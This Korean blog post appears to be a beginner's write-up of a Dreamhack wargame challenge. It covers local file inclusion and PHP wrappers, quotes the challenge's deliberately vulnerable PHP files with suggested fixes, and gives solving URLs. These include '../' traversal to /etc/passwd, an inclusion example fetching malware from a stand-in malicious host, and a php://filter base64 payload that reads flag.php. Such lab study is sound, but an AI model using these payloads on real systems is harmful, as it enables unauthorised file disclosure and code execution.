50번째 문제!!!!! php 가보자!!!
**LFI (Local File Inclusion)**는 웹 애플리케이션의 보안 취약점 중 하나로, 사용자가 서버의 로컬 파일을 불법적으로 읽을 수 있는 취약점입니다. **LFI 공격**은 주로 웹 애플리케이션에서 파일 경로를 사용자 입력으로 받아들일 때 적절한 검증 없이 이를 처리하는 경우 발생합니다. 공격자가 이를 악용하면 서버의 중요한 정보에 접근하거나, 심지어 악성 코드를 실행할 수도 있습니다.
### LFI 동작 방식
LFI 취약점은 일반적으로 다음과 같은 방식으로 동작합니다:
1. 웹 애플리케이션이 사용자로부터 특정 파일 경로를 입력받아 해당 파일의 내용을 출력합니다.
2. 파일 경로에 대한 제한이 없거나 제한이 부적절할 경우, 공격자는 파일 경로를 조작하여 서버 내의 다른 파일들을 읽어들일 수 있습니다.
3. 공격자는 `../`와 같은 **디렉토리 경로 이동** 문법을 사용해 상위 디렉토리로 접근하며 원하는 파일을 찾을 수 있습니다.
예를 들어, `?file=about.html`과 같은 형태로 파일 경로를 입력받는 페이지가 있다고 가정할 때, 공격자는 `?file=../../../../../etc/passwd`와 같은 요청을 통해 서버의 시스템 파일에 접근할 수 있습니다.
### LFI 공격의 목표
LFI 공격의 주요 목표는 다음과 같습니다:
1. **민감한 정보 유출**: 서버의 중요한 파일에 접근하여 정보 유출을 시도합니다. 예를 들어:
- `/etc/passwd`: 유닉스 및 리눅스 시스템의 사용자 정보 파일
- 웹 서버 설정 파일 (예: `php.ini`, `httpd.conf`)
- 애플리케이션의 소스 코드 파일
2. **코드 실행**: LFI는 단순히 파일을 읽는 것에서 끝나지 않을 수 있습니다. 특정 조건에서는 LFI를 통해 악성 파일을 포함시켜 **원격 코드 실행(RCE)**으로 이어질 수 있습니다. 예를 들어, 웹 서버에 업로드된 파일이 있을 경우 이를 포함하여 악성 스크립트를 실행할 수 있습니다.
### LFI 방어 방법
LFI 취약점을 방어하기 위해서는 다음과 같은 조치를 취할 수 있습니다:
1. **사용자 입력 검증 및 제한**: 사용자 입력으로 파일 경로를 사용할 때는 절대 경로를 사용하거나, 접근 가능한 파일 리스트를 미리 정해두고 그 리스트에 포함된 파일만 접근하도록 제한합니다.
2. **경로 이동 차단**: `../`와 같은 디렉토리 이동 문법을 차단하고, `realpath()`를 이용해 실제 경로를 확인하여 허용된 경로 내에 있는지 검증합니다.
3. **파일 확장자 제한**: 특정 확장자만 허용하도록 설정하여 실행 파일이나 설정 파일의 접근을 차단합니다.
4. **웹 서버 설정 강화**: 서버 설정에서 디렉토리 접근을 최소화하고, 중요한 파일들에 대한 권한을 제한하여 직접 접근을 방지합니다.
### LFI와 RFI 차이점
- **LFI (Local File Inclusion)**: 서버의 로컬 파일을 포함하는 취약점으로, 서버 내에 존재하는 파일만 읽을 수 있습니다.
- **RFI (Remote File Inclusion)**: 원격 파일을 포함할 수 있는 취약점으로, 외부에서 제공되는 파일을 포함할 수 있어 악성 코드를 실행할 가능성이 더 큽니다.
LFI는 웹 애플리케이션에서 자주 발생하는 보안 문제이며, 이를 막기 위한 철저한 보안 검증과 필터링이 필요합니다.
https://blog.selectfromuser.com/think-about-backoffice/
백오피스는 어드민, 관리자페이지, ERP 등과 함께 비즈니스 운영을 위한 내부용 시스템 혹은 툴을 지칭하는 용어로 많이 사용됩니다. 내부용 시스템이라고 하면 굉장히 거창하게 들리겠지만,
쉽게 말해 회사에 출근해서 매일 같이 보는 업무용 웹 페이지를 말합니다.
JavaScript Object Notation (JSON)은
Javascript 객체 문법으로 구조화된 데이터를 표현하기 위한 문자 기반의 표준 포맷
소스코드 보러가보자 소스코드는 총 4개가 있다. 우리가 봐야할 거는
1. index.php
2.list.php
3.view.php
<html>
<head>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css">
<title>PHP Back Office</title>
</head>
<body>
<!-- Fixed navbar -->
<nav class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<a class="navbar-brand" href="/">PHP Back Office</a>
</div>
<div id="navbar">
<ul class="nav navbar-nav">
<li><a href="/">Home</a></li>
<li><a href="/?page=list">List</a></li>
<li><a href="/?page=view">View</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</nav><br/><br/>
<div class="container">
<?php
include $_GET['page']?$_GET['page'].'.php':'main.php';
?>
</div>
</body>
</html>
이 코드에는 **파일 포함 취약점**(File Inclusion Vulnerability)의 위험이 존재합니다. 이 취약점이 있다면 공격자가 특정 파일을 로드하게 하여 시스템에 악의적인 영향을 미칠 수 있습니다. 코드의 동작과 취약점 분석을 아래에 자세히 설명하겠습니다.
### 코드 분석
1. **HTML 구조 및 Bootstrap 사용**:
- 이 HTML 문서는 **Bootstrap 3.3.2**를 사용하여 스타일을 적용합니다. 기본적인 네비게이션 바와 콘텐츠 영역이 정의되어 있습니다.
2. **네비게이션 바**:
- 상단 네비게이션 바는 `Home`, `List`, `View`로 구성되어 있습니다.
- 각 링크는 `/?page=페이지명` 형식의 URL을 사용하여 페이지를 로드합니다.
3. **PHP 코드 포함 로직**:
- `<?php include $_GET['page']?$_GET['page'].'.php':'main.php'; ?>`
- `$_GET['page']` 파라미터가 설정되어 있으면, 해당 파라미터에 해당하는 파일을 포함합니다.
- `$_GET['page']`가 비어 있으면 `main.php` 파일이 기본으로 포함됩니다.
예를 들어, URL이 `/?page=list`라면, `list.php` 파일을 포함하게 됩니다.
### 보안 취약점 분석
이 코드에는 **Local File Inclusion (LFI)** 취약점이 있습니다. `include` 문이 외부 입력인 `$_GET['page']`를 통해 파일 이름을 받아들입니다. 이로 인해 공격자가 특정한 경로를 전달하여 임의의 파일을 읽을 수 있는 가능성이 생깁니다. 예를 들어, `/?page=../../../../etc/passwd`와 같이 URL을 조작하면 시스템의 민감한 파일을 노출시킬 수 있습니다.
#### 주요 취약점 예시
1. **경로 이동(Local File Inclusion)**:
- 예: `/?page=../../../../etc/passwd`
- 이 URL은 `etc/passwd` 파일을 포함하려고 시도하여 서버의 시스템 정보를 노출시킬 수 있습니다.
2. **임의 파일 실행(Remote Code Execution)**:
- 만약 `allow_url_include`가 `on`으로 설정되어 있으면, 외부 서버의 URL을 직접 포함하여 원격에서 악성 코드를 실행할 수도 있습니다.
- 예: `/?page=http://malicious-server.com/malware`
3. **PHP Wrapper 사용**:
- PHP의 `php://filter`와 같은 래퍼를 이용해 소스 코드를 인코딩된 형태로 직접 읽어들이는 것도 가능할 수 있습니다.
- 예: `/?page=php://filter/convert.base64-encode/resource=main`
### 취약점 방어 방법
1. **허용된 파일 목록 사용**:
- 파일을 포함할 때 미리 정의된 파일 목록(화이트리스트)에서 선택하게 하여 허용된 파일만 로드되도록 합니다.
```php
$allowed_pages = ['list', 'view', 'main'];
$page = in_array($_GET['page'], $allowed_pages) ? $_GET['page'] : 'main';
include $page . '.php';
```
2. **파일 경로 및 확장자 제한**:
- `basename()`을 사용하여 디렉토리 이동을 막고, `.php` 확장자만 포함하도록 제한할 수 있습니다.
```php
$page = isset($_GET['page']) ? basename($_GET['page']) : 'main';
include $page . '.php';
```
3. **외부 URL 포함 비활성화**:
- `php.ini`에서 `allow_url_include` 설정을 `off`로 변경하여 외부 URL 포함을 방지합니다.
4. **경로 이동 문자열 필터링**:
- `../`와 같은 경로 이동 문자를 필터링합니다.
```php
$page = $_GET['page'] ?? 'main';
if (strpos($page, '..') !== false) {
exit('Invalid page');
}
include $page . '.php';
```
이러한 방어 방법을 사용하여 파일 포함 관련 보안 취약점을 완화할 수 있습니다.
<h2>List</h2>
<?php
$directory = '../uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}
?>
이 PHP 코드는 `../uploads/` 디렉토리의 파일 목록을 스캔하여 사용자에게 표시합니다. 코드의 구성 요소와 기능을 살펴본 뒤, 잠재적인 보안 취약점 및 개선 방법을 논의하겠습니다.
### 코드 설명
1. **디렉토리 설정 및 스캔**:
```php
$directory = '../uploads/';
$scanned_directory = array_diff(scandir($directory), array('..', '.', 'index.html'));
```
- `scandir($directory)`는 `../uploads/` 디렉토리의 파일 목록을 가져옵니다.
- `array_diff()`는 `..`, `.`, `index.html` 파일을 목록에서 제외합니다.
- 이로 인해 사용자에게 불필요하거나 보호되어야 할 파일들이 목록에 포함되지 않게 합니다.
2. **파일 목록 출력**:
```php
foreach ($scanned_directory as $key => $value) {
echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}
```
- `scanned_directory`에 있는 파일들을 반복문으로 순회하며 `<li>` 요소로 파일명을 출력합니다.
- 각 파일은 `view` 페이지에서 열리도록 링크가 생성됩니다. 이 링크는 `?page=view&file=경로` 형식으로 파일 경로를 전달하여 해당 파일의 내용을 표시할 수 있게 합니다.
### 잠재적 보안 취약점
이 코드에는 **디렉토리 이동 공격**과 같은 취약점이 발생할 수 있으며, 잘못된 접근을 막기 위해 추가적인 보안 조치가 필요합니다.
1. **디렉토리 이동 공격 (Directory Traversal)**:
- 사용자가 `?page=view&file=../uploads/somefile.php`와 같은 요청으로 특정 파일을 열 수 있습니다.
- 이로 인해 `view` 페이지에서 `file` 파라미터를 통해 **LFI**(Local File Inclusion)와 같은 공격이 가능할 수 있습니다.
- 예를 들어, 공격자가 URL에 `../`를 이용하여 상위 디렉토리로 이동하는 파일 경로를 조작하면 보호되어야 하는 파일에 접근할 수 있습니다.
2. **의도하지 않은 파일 접근**:
- 업로드 폴더 내에 있는 모든 파일이 접근 가능한 링크로 제공됩니다.
- 업로드된 파일 외의 파일이나 시스템 파일을 직접적으로 열어볼 수 있는 위험이 있습니다. 특히, 업로드된 파일에 PHP 코드가 포함된 경우 악성 스크립트 실행 가능성이 있습니다.
### 개선 방안
1. **파일 확장자 제한**:
- 파일 확장자를 제한하여 PHP 파일이나 다른 실행 가능한 파일을 포함할 수 없도록 설정합니다. 예를 들어, `.txt`나 `.jpg`와 같은 특정 확장자만 표시하도록 할 수 있습니다.
```php
foreach ($scanned_directory as $key => $value) {
if (pathinfo($value, PATHINFO_EXTENSION) !== 'txt') continue; // .txt 파일만 허용
echo "<li><a href='/?page=view&file={$directory}{$value}'>".$value."</a></li><br/>";
}
```
2. **디렉토리 경로 이동 방지**:
- `basename()`을 사용해 파일 이름에서 디렉토리 경로를 제거하여 경로 이동을 방지할 수 있습니다.
- `view` 페이지에서 파일을 열 때 `../` 같은 경로 이동이 포함된 입력을 무시하도록 할 수 있습니다.
```php
$file = basename($_GET['file']); // view 페이지에서 디렉토리 경로 제거
```
3. **Whitelist 방식 적용**:
- 허용된 파일 리스트를 만들어서 해당 파일만 접근 가능하도록 제한합니다.
- 예를 들어 업로드 시 안전한 파일 확장자를 체크하고 이를 DB나 배열에 저장한 뒤, 여기서 파일을 조회하도록 할 수 있습니다.
4. **MIME 타입 검사**:
- 파일의 MIME 타입을 확인하여 스크립트 파일이나 실행 파일이 업로드 폴더에 들어가더라도 이러한 파일들이 접근되지 않도록 할 수 있습니다.
이와 같은 보안 조치를 적용하면 디렉토리 이동 공격과 같은 파일 포함 취약점을 방지하여 애플리케이션의 안전성을 높일 수 있습니다.
<h2>View</h2>
<pre><?php
$file = $_GET['file']?$_GET['file']:'';
if(preg_match('/flag|:/i', $file)){
exit('Permission denied');
}
echo file_get_contents($file);
?>
</pre>
이 PHP 코드 조각은 사용자가 URL의 `file` 매개변수로 지정된 파일의 내용을 볼 수 있도록 합니다. 그러나 여기에는 권한 없는 파일 액세스를 허용할 수 있는 **잠재적 보안 취약점**이 포함되어 있으며, 이를 **로컬 파일 포함(LFI)**이라고도 합니다.
### 코드 분석
1. **파일 매개변수 검색**:
```php
$file = $_GET['file'] ? $_GET['file'] : '';
```
- 이 줄은 URL에서 `file` 매개변수를 검색합니다(`$_GET['file']`). 매개변수가 설정되지 않은 경우 `$file`은 기본적으로 빈 문자열로 설정됩니다.
2. **기본 필터링 확인**:
```php
if (preg_match('/flag|:/i', $file)) {
exit('Permission denied');
}
```
- 이 코드는 `$file` 문자열에 키워드 `flag` 또는 콜론(`:`)이 포함되어 있는지 확인합니다. 두 가지 중 하나라도 발견되면(대소문자 구분 없이), 스크립트는 `'권한이 거부되었습니다''라는 메시지와 함께 실행을 중지합니다.
- 필터는 민감한 파일, 특히 `flag` 파일에 대한 액세스를 방지하고 원격 URL(`http://` 포함 가능)에 액세스를 시도합니다.
3. **파일 내용 표시**:
```php
echo file_get_contents($file);
```
- 검사에 통과하면 `file_get_contents()` 함수는 `$file`로 지정된 파일의 내용을 읽고 페이지에 출력합니다.
- 이렇게 하면 필터가 트리거되지 않는 한 서버에서 액세스 가능한 모든 파일을 읽을 수 있습니다.
### 취약점 및 보안 문제
1. **로컬 파일 포함(LFI)**:
- 공격자는 `?file=/etc/passwd`를 설정하여 `/etc/passwd`와 같은 서버의 파일을 읽는 데 이를 악용할 수 있습니다.
- 필터는 `flag` 또는 콜론(`:`)이 있는 파일만 차단하므로 공격자는 이러한 문자열을 포함하지 않는 다른 민감한 파일을 지정할 수 있습니다.
2. **디렉토리 트래버설**:
- 이 코드는 디렉토리 트래버설 공격을 막지 못합니다. 공격자는 `../` 시퀀스를 사용하여 민감한 파일로 이동할 수 있습니다(예: `?file=../../../../etc/passwd`).
3. **필터 우회 가능성**:
- 서버 구성에 따라 `flag` 파일은 파일 경로를 조작하여 액세스할 수 있습니다(예: 파일의 일부를 인코딩하거나 필터가 모든 경우를 고려하지 않는 경우 디렉토리 트래버설 사용).
### 코드 보안을 위한 권장 사항
1. **액세스 가능한 파일을 엄격하게 정의**:
- 액세스 가능한 파일 경로의 허용 목록을 만들어 특정 파일만 읽을 수 있도록 허용합니다.
2. **디렉토리 트래버설 비활성화**:
- `../` 시퀀스를 방지하기 위해 `$file`을 정리합니다(예:
```php
$file = basename($file);
```)
- `basename()`은 파일 이름만 사용되도록 보장하여 모든 디렉토리 구성 요소를 제거합니다.
3. **절대 경로 사용 또는 디렉토리 제한**:
- 기본 디렉토리를 정의하고 해당 디렉토리에 대한 파일 액세스를 제한합니다. 예:
```php
$base_dir = '/var/www/files/';
$file_path = realpath($base_dir . $file);
if (strpos($file_path, $base_dir) !== 0) {
exit('Permission denied');
}
```
4. **향상된 필터링**:
- LFI 공격을 완화하기 위해 보다 포괄적인 필터링을 고려하거나 특정 디렉토리 외부의 모든 파일을 차단합니다.
드림핵 강의를 보면 php의 특징으로 인해 발생할 수 있는 취약점들을 잘 소개해놓았다.
PHP에서 **Wrapper**는 특정 프로토콜을 사용하여 다양한 소스의 데이터를 **스트림(stream)**으로 처리할 수 있게 해주는 기능입니다. PHP는 파일 시스템뿐만 아니라 HTTP, FTP, PHP, Zlib, Data, Expect 등 다양한 프로토콜을 스트림 래퍼(stream wrapper)를 통해 지원하며, 이를 활용하면 파일뿐만 아니라 원격 서버의 자원이나 다른 데이터 소스에도 쉽게 접근할 수 있습니다.
### 주요 PHP Wrapper 종류 및 기능
1. **File Wrapper (`file://`)**
- 파일 시스템에 접근하여 로컬 파일을 읽거나 쓸 수 있게 해주는 래퍼입니다.
- 예: `file:///path/to/file.txt`
2. **HTTP/HTTPS Wrapper (`http://`, `https://`)**
- HTTP(S) 프로토콜을 사용하여 원격 서버에 있는 파일을 읽어들일 수 있습니다.
- 예: `http://example.com/file.txt`
3. **FTP Wrapper (`ftp://`)**
- FTP 프로토콜을 통해 파일을 전송하거나 가져올 수 있게 해주는 래퍼입니다.
- 예: `ftp://username:password@ftp.example.com/file.txt`
4. **PHP Wrapper (`php://`)**
- PHP 자체 리소스에 접근하는 데 사용됩니다. 다양한 스트림을 제공하며, 표준 입력, 출력 및 메모리, 데이터 등을 읽거나 쓸 수 있습니다.
- 예:
- `php://input` : HTTP 요청 본문 데이터를 읽어옵니다.
- `php://output`: 출력 버퍼에 데이터를 쓰는 데 사용됩니다.
- `php://memory`: 메모리를 임시 파일처럼 사용할 수 있습니다.
- `php://filter`: 데이터를 읽거나 쓰기 전에 필터를 적용할 수 있습니다.
5. **Data Wrapper (`data://`)**
- 데이터 URL을 직접 읽을 수 있게 해주는 래퍼입니다. Base64 인코딩된 데이터를 바로 사용할 수 있습니다.
- 예: `data:text/plain;base64,SGVsbG8gd29ybGQ=`
6. **ZIP Wrapper (`zip://`)**
- ZIP 파일에 있는 파일을 읽을 수 있게 해주는 래퍼입니다.
- 예: `zip:///path/to/archive.zip#file.txt`
7. **Expect Wrapper (`expect://`)**
- 대화형 프로그램과 통신하는 데 사용됩니다. 일반적으로 SSH와 같은 원격 세션을 관리하는 데 활용됩니다.
### Wrapper의 활용 예
```php
// file://을 이용한 파일 읽기
echo file_get_contents("file:///var/www/html/file.txt");
// php://input을 이용해 HTTP POST 데이터를 읽기
$post_data = file_get_contents("php://input");
// data://을 이용한 인라인 Base64 데이터 읽기
$data = file_get_contents("data:text/plain;base64,SGVsbG8gd29ybGQ=");
echo base64_decode($data);
```
### Wrapper와 보안
Wrapper는 매우 유용하지만, 특히 **LFI(Local File Inclusion)** 공격과 같은 취약점에서 악용될 수 있습니다. 예를 들어, `file_get_contents()`를 사용할 때 외부 입력을 통해 file:// 외의 다른 래퍼가 포함될 경우, 공격자가 민감한 정보를 유출하거나 원격에서 악성 코드를 실행할 수 있는 가능성이 생깁니다.
따라서, Wrapper를 사용할 때는 반드시 사용자 입력을 검증하고, 필요한 경우 특정 래퍼를 비활성화하거나 제한하여 보안을 강화해야 합니다.
/var/www/uploads/flag.php에 있는 flag를 어떻게 볼까..
index.php 에서는 include() 함수로 file 파라미터 값 읽어서 include 하고
view.php에서는 file_get_contents() 함수로 file 파라미터 값을 include 한다.
문제에서 FLAG는 /var/www/uploads/flag.php 에 있다고 했기 때문에
flag 문자열을 필터링하는 view.php가 아닌 index.php 에서 해당 파일을 읽어와야한다.
출처:https://mokpo.tistory.com/118
[MSS:티스토리]
하고 index.php에서 읽어오는 payload를 넣으면
http://host3.dreamhack.games:19971/index.php?page=../uploads/flag
실제 플래그는 php 코드에 있는 모양이다.
그렇다면 php wrapper를 이용해서 php 파일 자체를 불러와야한다.
풀이 최상단에 작성한 가장 기본적인 php wrapper인 php://filter를 이용하여 flag.php 파일을 출력해보자.
출처:https://mokpo.tistory.com/118 MSS:티스토리]
php 자체를 불러와야한다..
- `php://filter`: 데이터를 읽거나 쓰기 전에 필터를 적용할 수 있습니다.
위에서 설명했던 php://filter이용할거다.
http://host3.dreamhack.games:19971/index.php?page=php://filter/convert.base64-encode/resource=/var/www/uploads/flag
/var/www/uploads/flag.php 파일을 base64 인코딩하여 출력한다는 말이다
Base64는 이진 데이터를 ASCII 문자열로 인코딩하는 방법 중 하나입니다. 주로 이진 데이터를 텍스트 형식으로 전송할 때 사용되며, 이메일 첨부 파일, 데이터 URI, 웹 애플리케이션에서의 데이터 전송, URL 인코딩 등 다양한 곳에서 활용됩니다.
Base64 특징 및 원리
- 인코딩 원리:
- Base64는 데이터를 6비트씩 나누어 64개의 문자로 표현합니다.
- 이를 위해 영문 대문자(A-Z), 소문자(a-z), 숫자(0-9), 그리고 +, / 문자를 사용해 총 64개의 문자를 활용합니다.
- 인코딩 시 데이터의 길이가 3의 배수가 아닌 경우, = 문자를 추가해 길이를 맞춥니다.
- 인코딩과 디코딩:
- 인코딩: 원본 데이터를 6비트씩 나눈 후 각 조각을 해당하는 Base64 문자로 변환합니다.
- 디코딩: Base64 문자열을 6비트 단위로 해석하여 원래의 이진 데이터를 복원합니다.
- 길이 증가:
- Base64 인코딩 시, 데이터 크기가 약 33% 정도 증가합니다. 예를 들어, 3바이트의 이진 데이터는 4개의 Base64 문자로 표현됩니다.
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[52] IT 비전공자 [dreamhack]simple_sqli_chatgpt문제 풀기 (2) | 2024.10.31 |
---|---|
[51] IT 비전공자 [dreamhack]rev-basic-6문제 풀기 (2) | 2024.10.30 |
[49] IT 비전공자 [dreamhack]XSS Filtering Bypass문제 풀기 (7) | 2024.10.28 |
[48] IT 비전공자 [dreamhack]proxy-1문제 풀기 (4) | 2024.10.27 |
[47] IT 비전공자 [dreamhack]simple-ssti문제 풀기 (1) | 2024.10.26 |